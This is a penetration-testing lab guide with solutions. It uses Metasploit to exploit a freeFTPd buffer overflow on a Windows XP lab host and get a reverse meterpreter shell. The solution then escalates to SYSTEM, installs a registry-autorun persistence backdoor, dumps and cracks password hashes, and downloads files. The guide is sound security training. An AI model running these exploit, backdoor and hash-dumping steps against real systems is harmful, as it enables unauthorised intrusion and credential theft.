eLearnSecurity
Forging security professionals

METASPLOIT

PENETRATION TESTING SECTION

1. Description

In this lab you will have to use Metasploit and meterpreter against a real machine! This will help you getting familiar with the Metasploit framework and its features.

2. Goal

The goals of the lab are

- Identify the target machine on the network,
- Find a vulnerable service
- Exploit the service by using Metasploit in order to get a meterpreter session
- Gather information from the machine by using meterpreter commands
- Retrieve the password hashes from the exploit machine
- Search for a file named "*Congrats.txt*".

3. Tools

The best tools for this lab are:

- *Nmap*
- *Metasploit*
- *John the Ripper*

4. Steps

4.1. Find a target in the network

Since we do not have any information about the remote network and the hosts attached to it, the first step is to find a possible target!

4.2. Identify available services on the target

Now that we know there is a host on the target network, let us scan the host and gather as much information as we can.

4.3. Find a vulnerable service in Metasploit

You should have identified a few services running on the machine. Check if Metasploit contains any working exploit for that specific services and version

4.4. Configure the module and exploit the machine

Select the Metasploit module found in the previous step and configure it with the correct parameters. Once you have the module set, launch the exploit! You should get a meterpreter session!

4.5. Obtain SYSTEM privileges on the machine

The most important step once you exploit a machine is to get the highest privileges you can. This will allow you to access much more information as well as run much more commands. Try to obtain system privileges on the machine!

4.6. Install a backdoor

Now that you have full privileges on the machine, install a backdoor on the machine.

If you want to test if the backdoor works, just run "reboot" in the meterpreter session and wait a minute. Once the machine turns back, you should be able to use your backdoor!

4.7. Get the password hashes and crack them

It is now time to gather some data! Dump all the password hashes of the exploited machine!

Once you have them, you can also try to crack the passwords with *John the Ripper*.

4.8. Gather information

Try to gather as much information as you can from the target machine: applications, routes, interfaces and so on. Explore the machine and the Metasploit module to practice with different tools and output.

4.9. Locate and download the congrats.txt file

Browse the target machine, find the file named "Congrats.txt" and download it into your machine!

SOLUTIONS

Please go ahead **ONLY** if you have **COMPLETED** the lab or you are stuck! Checking the solutions before actually trying the concepts and techniques you studied in the course, will dramatically reduce the benefits of a hands-on lab!

[This page intentionally left blank]

5. Solutions steps

5.1. Find a target in the network

We first need to verify which is the remote network. We can do it by running `ifconfig` and check the IP address of our *tap0* interface.

```
tap0      Link encap:Ethernet  HWaddr e2:a7:22:9d:e8:b3
          inet addr:192.168.99.11  Bcast:192.168.99.255  Mask:255.255.255.0
          inet6 addr: fe80::e0a7:22ff:fe9d:e8b3/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:4 errors:0 dropped:0 overruns:0 frame:0
          TX packets:8 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100
          RX bytes:990 (990.0 B)  TX bytes:648 (648.0 B)
```

As we can see the target network is 192.168.99.0/24. Let's run `nmap -sn` in order to discover available hosts on the network:

```
root@kali:~# nmap -sn 192.168.99.0/24

Starting Nmap 6.47 ( http://nmap.org ) at 2015-02-19 15:47 CET
Nmap scan report for 192.168.99.12
Host is up (0.18s latency).
MAC Address: 00:50:56:B1:2E:AC (VMware)
Nmap scan report for 192.168.99.11
Host is up.
Nmap done: 256 IP addresses (2 hosts up) scanned in 9.18 seconds
root@kali:~#
```

The previous screenshot shows that the only host alive in the network is *192.168.99.12* (besides our host: 192.168.99.11).

5.2. Identify available services on the target

Let us run a service detection scan and verify which services are listening on the remote host:

```
root@kali:~# nmap -sV 192.168.99.12

Starting Nmap 6.47 ( http://nmap.org ) at 2015-02-19 16:28 CET
Nmap scan report for 192.168.99.12
Host is up (0.17s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           FreeFTPd 1.0
22/tcp   open  ssh           WeOnlyDo sshd 2.1.8.98 (protocol 2.0)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn
3389/tcp open  ms-wbt-server Microsoft Terminal Service
MAC Address: 00:50:56:B1:2E:AC (VMware)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.98 seconds
root@kali:~#
```

As we can see in the previous output there are few service enabled. Let us focus our tests on the *FreeFTPd*.

5.3. Find a vulnerable service in Metasploit

Let us run a *search* in the Metasploit database and see if there is any module related to the *freeFTPd* service:

```
msf > search freeftp

Matching Modules
================

   Name                                      Disclosure Date  Rank     Description
   ----                                      ---------------  ----     -----------
   exploit/windows/ftp/freeftpd_pass         2013-08-20       normal   freeFTPd PASS Command Buffer Overflow
   exploit/windows/ftp/freeftpd_user         2005-11-16       average  freeFTPd 1.0 Username Overflow
   exploit/windows/ssh/freeftpd_key_exchange 2006-05-12       average  FreeFTPd 1.0.10 Key Exchange Algorithm String Buffer Overflow
```

As we can see in the output, there are few modules that we can use. Let us select the first in the list since is the latest discovered but also the more reliable.

5.4. Configure the module and exploit the machine

First let us select the module and configure its options as follow:

```
msf > use exploit/windows/ftp/freeftpd_pass
msf exploit(freeftpd_pass) > show options

Module options (exploit/windows/ftp/freeftpd_pass):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   FTPUSER  anonymous        yes       The username to authenticate with
   RHOST    192.168.99.12    yes       The target address
   RPORT    21               yes       The target port


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)
   LHOST     192.168.99.11    yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   freeFTPd 1.0.10 and below on Windows Desktop Version
```

The previous screen shows the module configured and ready to run. We just have to select the RHOST and set the payload options. Now we can start the module by typing **exploit**:

```
msf exploit(freeftpd_pass) > exploit

[*] Started reverse handler on 192.168.99.11:4444
[*] Trying target freeFTPd 1.0.10 and below on Windows Desktop Version with user anonymous...
[*] Sending stage (770048 bytes) to 192.168.99.12
[*] Meterpreter session 10 opened (192.168.99.11:4444 -> 192.168.99.12:1043) at 2015-02-19 17:15:52 +0100

meterpreter > sysinfo
Computer        : ELS-WINXP
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter >
```

As we can see we have successfully exploited the service! Indeed a meterpreter session opens and our prompt changes!

5.5. Obtain SYSTEM privileges on the machine

As you already know, meterpreter offers a lot of commands and functionalities. In order to escalate privileges on Windows machines we just have to type **getsystem** and hit enter:

```
meterpreter > getuid
Server username: ELS-WINXP\ftp
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```

In the previous screenshot you can see how we successfully escalated the privileges (from *ftp* user to *system*).

5.6. Install a backdoor

There are many modules and commands that we can use to automatically install a backdoor on the target machine. In this lab, we are going to use the *persistence* module as follow:

```
msf > use exploit/windows/local/persistence
msf exploit(persistence) > show options

Module options (exploit/windows/local/persistence):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   DELAY     10               yes       Delay in seconds for persistent payload to reconnect.
   PATH                       no        Path to write payload
   REG_NAME  backdoor         no        The name to call registry value for persistence on remote system
   REXENAME  backdoor         no        The name to call payload on remote system.
   SESSION   10               yes       The session to run this module on.
   STARTUP   SYSTEM           yes       Startup type for the persistent payload. (accepted: USER, SYSTEM)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)
   LHOST     192.168.99.11    yes       The listen address
   LPORT     5555             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows
```

As you can see in the screenshot, we set the STARTUP parameter to SYSTEM (since we have system privileges on the machine) but also set the name of the windows registries to "*backdoor*". Moreover, if you check the payload options we set the backdoor to connect on our local IP address on port 5555.

Let us try to run it!

```
msf exploit(persistence) > exploit

[*] Started reverse handler on 192.168.99.11:5555
[*] Running module against ELS-WINXP
[*] Sending stage (770048 bytes) to 192.168.99.12
[+] Persistent Script written to C:\DOCUME~1\ftp\LOCALS~1\Temp\backdoor.vbs
[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\backdoor
[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\backdoor
[*] Cleanup Meterpreter RC File: /root/.msf4/logs/persistence/ELS-WINXP_20150219.2135/ELS-WINXP_20150219.2135.rc
[*] Meterpreter session 11 opened (192.168.99.11:5555 -> 192.168.99.12:1061) at 2015-02-19 17:22:03 +0100

meterpreter >
```

As you can see the backdoor has been successfully installed and a new meterpreter session opens!

5.7. Get the password hashes and crack them

Let us get back into our previous meterpreter session (since we have SYSTEM privileges on that) and try to gather the password hashes from the exploited machine:

```
meterpreter > background
[*] Backgrounding session 11...
msf exploit(persistence) > sessions -i 10
[*] Starting interaction with 10...

meterpreter > hashdump
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
eLSAdmin:1003:aad3b435b51404eeaad3b435b51404ee:87289513bddc269f9bcb24d74864beb2:::
ftp:1004:4ff1ab31fc4b0ebdaad3b435b51404ee:9865c4bdcd9578a380297c5095e6c852:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:a88f7de3e682d17fea34bd03086620b5:2b07e52daf608f50d4cd9506c5b0220d:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:9f79c84005db73e0122f424022f8dbc0:::
meterpreter >
```

Once we have the hashes we can just store it locally into a file and use John the Ripper to crack them.

```
root@kali:~# john pwd
Warning: detected hash type "lm", but the string is also recognized as "nt"
Use the "--format=nt" option to force loading these as that type instead
Warning: detected hash type "lm", but the string is also recognized as "nt2"
Use the "--format=nt2" option to force loading these as that type instead
Loaded 8 password hashes with no different salts (LM DES [128/128 BS SSE2-16])
FTP              (ftp)
guesses: 1  time: 0:00:00:00 30.22% (1) (ETA: Thu Feb 19 17:26:59 2015)  c/s: 12800  trying: GUEST/ - THELPAS
                 (SUPPORT_388945a0)
                 (Guest)
                 (eLSAdmin)
PASSWOR          (Administrator:1)
guesses: 5  time: 0:00:00:00 18.17% (2) (ETA: Thu Feb 19 17:26:59 2015)  c/s: 150851  trying: CHERRYC - MAGNUM2
D                (Administrator:2)
guesses: 6  time: 0:00:00:00 0.00% (3)  c/s: 424340  trying: 1952 - SEAL
```

```
root@kali: ~
File  Edit  View  Search  Terminal  Help
root@kali:~# cat pwd
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
eLSAdmin:1003:aad3b435b51404eeaad3b435b51404ee:87289513bddc269f9bcb24d74864beb2:::
ftp:1004:4ff1ab31fc4b0ebdaad3b435b51404ee:9865c4bdcd9578a380297c5095e6c852:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:a88f7de3e682d17fea34bd03086620b5:2b07e52daf608f50d4cd9506c5b0220d:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:9f79c84005db73e0122f424022f8dbc0:::
root@kali:~#
```

5.8. Gather information

In this step you can use every command or module you want to gather information from the remote machine. This will help you to better understand how to use Metasploit and its features.

5.9. Locate and download the congrats.txt file

In order to locate the *Congrats.txt* file we can simply run the following command:

```
meterpreter > search -f congrats.txt
Found 1 result...
    c:\\Documents and Settings\eLSAdmin\My Documents\Congrats.txt (64 bytes)
meterpreter >
```

Now we just need to download the file into our machine and open it:

```
meterpreter > download 'c:\\Documents and Settings\eLSAdmin\My Documents\Congrats.txt' /root/Desktop/
[*] downloading: c:\\Documents and Settings\eLSAdmin\My Documents\Congrats.txt -> /root/Desktop//Congrats.txt
[*] downloaded : c:\\Documents and Settings\eLSAdmin\My Documents\Congrats.txt -> /root/Desktop//Congrats.txt
meterpreter >
```

```
root@kali: ~
File  Edit  View  Search  Terminal  Help
root@kali:~# cat /root/Desktop/Congrats.txt
Congratulations! You have successfully exploited this machine!
root@kali:~#
```